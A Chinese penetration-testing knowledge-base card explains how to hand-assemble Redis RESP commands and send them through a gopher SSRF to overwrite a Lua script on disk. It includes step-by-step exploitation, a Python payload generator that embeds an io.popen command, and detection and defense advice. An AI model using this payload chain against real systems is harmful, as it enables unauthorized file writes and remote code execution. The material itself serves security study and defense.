♧ Godown 安全知识树

手工构造打 Redis 的 RESP 多批量报文并通过 gopher 注入:批量长度含值内换行、斜杠与百分号的处理、URL 内二次编码

pentest/initial-access · verified

一句话结论

用 gopher 打 Redis 时最常卡住的不是协议本身,而是字节级拼装:RESP 数组要写成 *<元素个数>\r\n,每个批量字符串写成 $<字节长度>\r\n<内容>\r\n,而 $len 必须是「内容实际字节数」——当内容里自己带换行(例如要塞进 RDB 的 Lua/PHP 代码上下各有 \n)时必须把这些换行也算进去;整段报文再做一次 quote_plus 得到 gopher://127.0.0.1:6379/_...,放进 ?url= 参数时还要再编码一次(Burp 里 Ctrl+U),并且要故意把 %2F 还原成 /、%25 还原成 %,否则 OpenResty/Lua 的 n[g]x.req.get_uri_args() 解出来的 URL 会和 Redis 期望的字节流错位。

原理

  • RESP 的三条规则:*N 声明数组元素个数;$L 声明紧随其后那个批量字符串的字节长度;内容与下一个元素之间用 \r\n 分隔。Redis 按 $L 精确读取 L 个字节作为值,不会因为你多写/少写换行而自动纠正,所以 $len 算错就等于把后面的命令拼进值里、或把值截断成命令。
  • 目标值里若含 \n(例如要写入的脚本内容 \n\n##LUA_START##...\n##LUA_END##\n\n),这些换行属于值的字节,必须计入 $len。原文的做法是 len_content = len(content) + 4——因为 content 字符串前后各有两个换行被单独写在 f-string 的行间({content} 前后各一个空行 = 各 \r\n 两字节,合计 4)。手写时更稳的做法是把「值 + 上下换行」当成一个整体先算 len()。
  • 一条完整的利用需要 4 个命令,因此报文的骨架是:*1 $8 flushall → *3 $3 set $1 8 $<len> <content> → *4 $6 config $3 set $3 dir $<dirname长度> <dir> → *4 $6 config $3 set $10 dbfilename $<文件名长度> <文件名> → *1 $4 save。每条命令是一个独立 RESP 数组,可以顺序拼接(Redis 支持 pipeline,逐条返回 +OK)。
  • 为什么 dbfilename 的 $len 要和文件名长度一致:visit.script 是 12 字节,$12;/scripts 是 8 字节,$8。算错会把半个文件名当成下一条命令,直接 -ERR unknown command。
  • 编码链三层:① 报文本身含 \r\n/空格/$/*,必须 URL 编码成 %0D%0A/%20/%24/%2A;② quote_plus 会把空格变 +,但 gopher 的 _ 后面要求是百分号编码,所以替换回 %20;③ 放进 ?url= 时整段又要再编码一次,否则 Web 服务器/ Lua 的 query 解析会把 %0D%0A 提前解一层,真正到 curl 手里的就成了裸 CRLF,gopher 解析失败。
  • 两个刻意的「还原」:quote_plus 会把 / 编码成 %2F,但 gopher path 里的 127.0.0.1:6379/_ 与部分实现要求 / 原样出现;把 %25 还原成 % 是为了避免「百分号被再编码成 %25 后 Redis 收到的是字面 %25 而不是 %0D」。这两处还原只对外层 URL 的可读部分做,不改报文里的 %0D%0A。
  • 为什么回显常常是 CURL-EASY: OPERATION_TIMEDOUT 而不是 +OK:save 之后 Redis 会去写文件,而 gopher 连接不会立刻关闭,resty.curl 等到 5 秒 timeout 才返回;超时并不代表失败,文件已经写下去了,需要另开请求去验证(例如再 GET 一次触发或直接看容器内文件)。
  • 为什么用 flushall 开头:SAVE 会把整个内存数据库序列化,里面如果有历史 key,RDB 里会多出大量无关数据,容易把目标脚本的有效片段挤到不可预期的偏移;flushall 后只留一个 key,RDB 结构最干净。

触发条件

  • 存在能把完整 TCP 报文发到 127.0.0.1:6379 的 SSRF(gopher 支持)或可直连 Redis。
  • Redis 未授权且允许 FLUSHALL/SET/CONFIG SET/SAVE。
  • 攻击者能控制 Web 侧 query 参数的编码层数(知道要二次编码,且能观察到 OPERATION_TIMEDOUT 之类的间接回显)。
  • 目标 $len 与内容字节数必须精确匹配——写入内容含多字节字符/换行时要按字节而非字符数计算。

利用步骤

  1. 先写一个 Python 脚本把「命令数组」拼成 RESP 文本,逐条计算 $len;把要写入的值(含上下换行)作为一个整体先 len() 再代入。
  2. 按骨架生成:*1\r\n$8\r\nflushall\r\n + *3\r\n$3\r\nset\r\n$1\r\n8\r\n$<len>\r\n<content>\r\n + *4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$8\r\n/scripts\r\n + *4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$12\r\nvisit.script\r\n + *1\r\n$4\r\nsave\r\n。
  3. urllib.parse.quote_plus(payload) 后做三处替换:+→%20、%2F→/、%25→%,再拼 gopher://127.0.0.1:6379/_。
  4. 放进 ?url= 时整段再编码一次(Burp 里选中该值按 Ctrl+U),发包。
  5. 观察回显:OPERATION_TIMEDOUT/Timeout was reached 属预期(save 卡住连接);若返回 -ERR 则说明 $len 或数组个数写错,回到第 1 步核对。
  6. 验证落盘:另起请求/直接查容器文件确认内容里的标记(如 ##LUA_START##)已写入,且 RDB 头在前、有效载荷按预期落在标记之间。
  7. 若要复用,把「命令数组 → RESP」的拼装做成函数(resp(*args) 返回 *N + 每个 $len + 内容),避免手算。

PoC

# 最小可复用的 RESP 拼装器 + gopher 编码(未在本机执行)
import urllib.parse

def resp(*args):
    out = f"*{len(args)}\r\n"
    for a in args:
        b = a.encode() if isinstance(a, str) else a
        out += f"${len(b)}\r\n".encode() + b + b"\r\n"
    return out

value = "\n\n##LUA_START##\nio.popen(\"id\")\n##LUA_END##\n\n"   # 含换行的值

payload = b""
payload += resp("flushall")
payload += resp("set", "8", value)                 # $len 由 len(value.encode()) 精确算出
payload += resp("config", "set", "dir", "/scripts")
payload += resp("config", "set", "dbfilename", "visit.script")
payload += resp("save")

gopher = "gopher://127.0.0.1:6379/_" + urllib.parse.quote_plus(payload.decode()) \
         .replace("+", "%20").replace("%2F", "/").replace("%25", "%")

print(gopher)   # 放进 ?url= 时还需整体再 URL 编码一次
# 发包后常见的"失败"回显(实为 save 未及时关闭连接,文件已写)
HTTP/1.1 200 OK
Content-Type: text/plain

Failed to perform request: [CURL-EASY]OPERATION_TIMEDOUT: Timeout was reached (28)
# 报文骨架(把 $len 换成实际字节数):
*1\r\n$8\r\nflushall\r\n
*3\r\n$3\r\nset\r\n$1\r\n8\r\n$<len>\r\n<含换行的值>\r\n
*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$8\r\n/scripts\r\n
*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$12\r\nvisit.script\r\n
*1\r\n$4\r\nsave\r\n

变体与关联

  • 变体:值里含 "、'、多字节 UTF-8 时,$len 必须按 UTF-8 字节数算(len(value.encode())),用字符数会在非 ASCII 处错位。
  • 变体:目标禁止 flushall 时,用 SELECT 换 DB 或直接用唯一 key 名,避免清掉业务数据;也可省略 flushall 只依赖 RDB 里脏数据不影响消费方。
  • 变体:只允许单条命令的入口(dict://)时无法 pipeline,只能做 INFO/CONFIG GET 这类探测,不能完成多命令写入。
  • 变体:用现成工具(gopherus 等)生成报文时,注意其模板里 $len 常常是硬编码/需要人工改,直接跑会出现「长度不对、脚本写坏」的问题。
  • 关联:[[pentest-initial-access-redis-save-overwrite-hotloaded-lua-script]](本卡的报文用于该落点)、[[pentest-initial-access-redis-config-dir-dbfilename-shared-volume-webshell]](同一报文骨架打 PHP 站点)、[[web-generic-ssrf-redis-inline-protocol-crlf]](RESP 与 inline 协议、AUTH pipeline 的通用原理)。
  • 边界:入口只允许 http/https 协议时 gopher 不可用;curl 7.71.1+ 对 gopher 有限制;外层编码层数与 Web 框架解析不一致时会出现「单次能通、放进 query 就不通」的现象,必须先做最小 INFO 探测确认链路。

检测与防御

  • 检测:Web 访问日志里 ?url=gopher%3A//127.0.0.1%3A6379/_%252A... 这类「gopher + 多层百分号编码 + %252A/%250D%250A」的特征串,是最直接的 IoC。
  • 检测:同一会话出现「先一次报 timeout 的 gopher 请求,随后若干次正常业务请求」,可能对应「写入 + 触发」两步。
  • 防御:SSRF 入口做协议白名单(只允许 http/https),禁止 gopher/dict/file;对 ?url= 只接受单层 URL 编码并显式拒绝二次编码的输入。
  • 防御:出站限制只能访问业务域名,禁止访问 127.0.0.1/内网网段与 6379;Redis 侧加口令与 CONFIG/SAVE 禁用。